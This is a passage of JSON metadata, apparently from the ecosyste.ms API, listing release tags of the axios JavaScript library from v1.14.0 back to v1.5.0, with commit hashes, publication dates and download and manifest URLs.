s/v1.14.0/manifests"},{"name":"v1.13.6","sha":"7108c8877f9dc05f7aba8beb2b9e522537f9a9a7","kind":"commit","published_at":"2026-02-27T15:28:22.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.6","html_url":"https://github.com/axios/axios/releases/tag/v1.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.6/manifests"},{"name":"v0.30.3","sha":"f53bcf6c3747652c9d3811dc0bbcd3674e21567a","kind":"commit","published_at":"2026-02-18T17:15:14.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.30.3","html_url":"https://github.com/axios/axios/releases/tag/v0.30.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.30.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.3/manifests"},{"name":"v1.13.5","sha":"29f75425f0c9f73021f5eedc869c176e30e05fe7","kind":"commit","published_at":"2026-02-08T10:53:34.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.5","html_url":"https://github.com/axios/axios/releases/tag/v1.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.5/manifests"},{"name":"v1.13.4","sha":"9336cf9a3393790ec8ca91fe3862e83fcdbe6b9d","kind":"commit","published_at":"2026-01-27T18:13:03.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.4","html_url":"https://github.com/axios/axios/releases/tag/v1.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.4/manifests"},{"name":"v1.13.3","sha":"ab06109b40e129e43096f9c75aaa21bc74ef9fc8","kind":"tag","published_at":"2026-01-20T17:48:38.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.3","html_url":"https://github.com/axios/axios/releases/tag/v1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.3/manifests"},{"name":"v1.13.2","sha":"08b84b52d5835d0c7b81049c365c3d271ade8bff","kind":"tag","published_at":"2025-11-04T20:01:12.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.2","html_url":"https://github.com/axios/axios/releases/tag/v1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.2/manifests"},{"name":"v1.13.1","sha":"1ef8e7218b085ac28b675b07349c6d7906a7b6ac","kind":"tag","published_at":"2025-10-28T18:55:25.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.1","html_url":"https://github.com/axios/axios/releases/tag/v1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.1/manifests"},{"name":"v1.13.0","sha":"9ead04d8abbcd53718dbc31b1250ea74300921c8","kind":"tag","published_at":"2025-10-27T16:08:08.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.0","html_url":"https://github.com/axios/axios/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.0/manifests"},{"name":"v0.30.2","sha":"2fcb4ec5a11710ac26f9f89cb7d46dd51a1cf013","kind":"commit","published_at":"2025-09-27T10:23:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.30.2","html_url":"https://github.com/axios/axios/releases/tag/v0.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.2/manifests"},{"name":"v1.12.2","sha":"e5a33366d75b65f88052b230b103731eb7dcb793","kind":"tag","published_at":"2025-09-14T12:59:21.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.12.2","html_url":"https://github.com/axios/axios/releases/tag/v1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.2/manifests"},{"name":"v1.12.1","sha":"3cac78c2de2d1d1af0c1b4753feff16c075f01d1","kind":"tag","published_at":"2025-09-12T14:19:27.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.12.1","html_url":"https://github.com/axios/axios/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"0d8ad6e1de0f5339e02bc262d6f0df4936974120","kind":"tag","published_at":"2025-09-11T19:33:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.12.0","html_url":"https://github.com/axios/axios/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.0/manifests"},{"name":"v0.30.1","sha":"b17c4dea1b95a873667e1c950e4749894a44682c","kind":"commit","published_at":"2025-08-04T18:15:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.30.1","html_url":"https://github.com/axios/axios/releases/tag/v0.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.1/manifests"},{"name":"v1.11.0","sha":"b76c4ac6f871141dd011a21f3b7ca4e66bfc33ae","kind":"tag","published_at":"2025-07-23T06:05:10.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.11.0","html_url":"https://github.com/axios/axios/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"73a836dae75f06055c24561d83cf4ca1c43e2854","kind":"tag","published_at":"2025-06-14T12:11:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.10.0","html_url":"https://github.com/axios/axios/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"cdcfd214c169a1acba8e267ab8e77ff4dfec3105","kind":"tag","published_at":"2025-04-24T20:18:53.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.9.0","html_url":"https://github.com/axios/axios/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.9.0/manifests"},{"name":"v0.30.0","sha":"6e922e497616d8908616a9da0380f81d0244ef4b","kind":"commit","published_at":"2025-03-26T17:50:22.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.30.0","html_url":"https://github.com/axios/axios/releases/tag/v0.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.0/manifests"},{"name":"v1.8.4","sha":"9f6f97bcfb7c510103dfcb05641ae8e8f5c08bcc","kind":"tag","published_at":"2025-03-19T19:27:41.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.4","html_url":"https://github.com/axios/axios/releases/tag/v1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.4/manifests"},{"name":"v1.8.3","sha":"39ec206483a89921732bdc8a5be67e350bfc23f0","kind":"tag","published_at":"2025-03-12T07:23:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.3","html_url":"https://github.com/axios/axios/releases/tag/v1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.3/manifests"},{"name":"v1.8.2","sha":"a9f7689b0c4b6d68c7f587c3aa376860da509d94","kind":"tag","published_at":"2025-03-07T07:41:05.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.2","html_url":"https://github.com/axios/axios/releases/tag/v1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.2/manifests"},{"name":"v1.8.1","sha":"2e64afdff5c41e38284a6fb8312f2745072513a1","kind":"tag","published_at":"2025-02-26T09:06:54.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.1","html_url":"https://github.com/axios/axios/releases/tag/v1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.1/manifests"},{"name":"v1.8.0","sha":"cceb7b1e154fbf294135c93d3f91921643bbe49f","kind":"tag","published_at":"2025-02-26T06:01:08.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.0","html_url":"https://github.com/axios/axios/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.0/manifests"},{"name":"v1.7.9","sha":"b2cb45d5a533a5465c99559b16987e4d5fc08cbc","kind":"tag","published_at":"2024-12-04T07:38:10.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.9","html_url":"https://github.com/axios/axios/releases/tag/v1.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.9/manifests"},{"name":"v1.7.8","sha":"415ca9440195586dcd2149aa6f1e99f0ff6957c2","kind":"tag","published_at":"2024-11-25T21:13:52.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.8","html_url":"https://github.com/axios/axios/releases/tag/v1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.8/manifests"},{"name":"v0.29.0","sha":"7750b8c30b43a28737b496588e818d1f4e7b6abc","kind":"commit","published_at":"2024-11-21T12:23:17.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.29.0","html_url":"https://github.com/axios/axios/releases/tag/v0.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.29.0/manifests"},{"name":"v1.7.7","sha":"5b8a826771b77ab30081d033fdba9ef3b90e439a","kind":"tag","published_at":"2024-08-31T22:02:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.7","html_url":"https://github.com/axios/axios/releases/tag/v1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.7/manifests"},{"name":"v1.7.6","sha":"d584fcfa62ba5217baf2be0748b7c5eda6da16ad","kind":"tag","published_at":"2024-08-30T19:56:43.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.6","html_url":"https://github.com/axios/axios/releases/tag/v1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.6/manifests"},{"name":"v1.7.5","sha":"59cd6b0dece4050b190717a7c5cdf77906ce2104","kind":"tag","published_at":"2024-08-23T13:32:31.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.5","html_url":"https://github.com/axios/axios/releases/tag/v1.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.5/manifests"},{"name":"v1.7.4","sha":"abd24a7367726616e60dfc04cb394b4be37cf597","kind":"tag","published_at":"2024-08-13T19:33:04.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.4","html_url":"https://github.com/axios/axios/releases/tag/v1.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.4/manifests"},{"name":"v1.7.3","sha":"c6cce43cd94489f655f4488c5a50ecaf781c94f2","kind":"tag","published_at":"2024-08-01T16:16:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.3","html_url":"https://github.com/axios/axios/releases/tag/v1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.3/manifests"},{"name":"v1.7.2","sha":"0e4f9fa29077ebee4499facea6be1492b42e8a26","kind":"tag","published_at":"2024-05-21T16:57:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.2","html_url":"https://github.com/axios/axios/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"67d1373131962d1f1f5b8d91f9a2f80ed3923bc8","kind":"tag","published_at":"2024-05-20T13:32:46.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.1","html_url":"https://github.com/axios/axios/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"3041c61adaaac6d2c43eba28c134e7f4d43ab012","kind":"tag","published_at":"2024-05-19T20:24:57.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.0","html_url":"https://github.com/axios/axios/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0/manifests"},{"name":"v1.7.0-beta.2","sha":"b49aa8e3d837c36e4728a9fa8a5e23a1162e96ec","kind":"tag","published_at":"2024-05-19T18:01:17.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.0-beta.2","html_url":"https://github.com/axios/axios/releases/tag/v1.7.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.2/manifests"},{"name":"v1.7.0-beta.1","sha":"b9f4848f8c4c7d53dbe1a1ee06e9b3604c2e56ac","kind":"tag","published_at":"2024-05-07T18:37:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.0-beta.1","html_url":"https://github.com/axios/axios/releases/tag/v1.7.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.1/manifests"},{"name":"v1.7.0-beta.0","sha":"8e4314bfd68773ef405a4c081cf30c3bce5447ee","kind":"tag","published_at":"2024-04-28T19:50:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.0-beta.0","html_url":"https://github.com/axios/axios/releases/tag/v1.7.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.0/manifests"},{"name":"v0.28.1","sha":"3021e0ddbdeb5cd40e9e296851a8bd8ff45116d3","kind":"tag","published_at":"2024-03-28T17:36:06.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.28.1","html_url":"https://github.com/axios/axios/releases/tag/v0.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.28.1/manifests"},{"name":"v1.6.8","sha":"ab3f0f9a94853c821cb00f1112788ecdd3ae7ed1","kind":"tag","published_at":"2024-03-15T16:32:41.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.8","html_url":"https://github.com/axios/axios/releases/tag/v1.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.8/manifests"},{"name":"v0.28.0","sha":"3b7635aefc842c05da0ec8c90e8bd09cb54616b8","kind":"tag","published_at":"2024-02-12T18:38:19.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.28.0","html_url":"https://github.com/axios/axios/releases/tag/v0.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.28.0/manifests"},{"name":"v1.6.7","sha":"a52e4d9af51205959ef924f87bcf90c605e08a1e","kind":"tag","published_at":"2024-01-25T19:58:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.7","html_url":"https://github.com/axios/axios/releases/tag/v1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.7/manifests"},{"name":"v1.6.6","sha":"104aa3f65dc30d70273798dff413fb44edd1c9e6","kind":"tag","published_at":"2024-01-24T23:12:14.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.6","html_url":"https://github.com/axios/axios/releases/tag/v1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.6/manifests"},{"name":"v1.6.5","sha":"6d4c421ee157d93b47f3f9082a7044b1da221461","kind":"tag","published_at":"2024-01-05T19:52:08.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.5","html_url":"https://github.com/axios/axios/releases/tag/v1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.5/manifests"},{"name":"v1.6.4","sha":"8790b8e7847c7f450544e7195c837ffc10fcb160","kind":"tag","published_at":"2024-01-03T22:10:49.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.4","html_url":"https://github.com/axios/axios/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.4/manifests"},{"name":"v1.6.3","sha":"b15b918d179900e7d47a08f4e96efc89e16d8a7b","kind":"tag","published_at":"2023-12-26T23:16:12.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.3","html_url":"https://github.com/axios/axios/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.3/manifests"},{"name":"v1.6.2","sha":"b3be36585884ba1e237fdd0eacf55f678aefc396","kind":"tag","published_at":"2023-11-14T20:36:03.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.2","html_url":"https://github.com/axios/axios/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"f6d2cf9763bfa124f15c2dc6a5d5d5d9d3e26169","kind":"tag","published_at":"2023-11-08T15:09:20.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.1","html_url":"https://github.com/axios/axios/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"f7adacdbaa569281253c8cfc623ad3f4dc909c60","kind":"tag","published_at":"2023-10-26T21:15:49.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.0","html_url":"https://github.com/axios/axios/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.0/manifests"},{"name":"v1.5.1","sha":"88fb52b5fad7aabab0532e7ad086c5f1b0178905","kind":"tag","published_at":"2023-09-26T18:22:06.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.5.1","html_url":"https://github.com/axios/axios/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"6365751ba6725cc283f7364b9ee6ca9917e9737c","kind":"tag","published_at":"2023-08-26T19:10:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.5.0","html_url":"https://github.com/axios/axios/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.5.0","manifests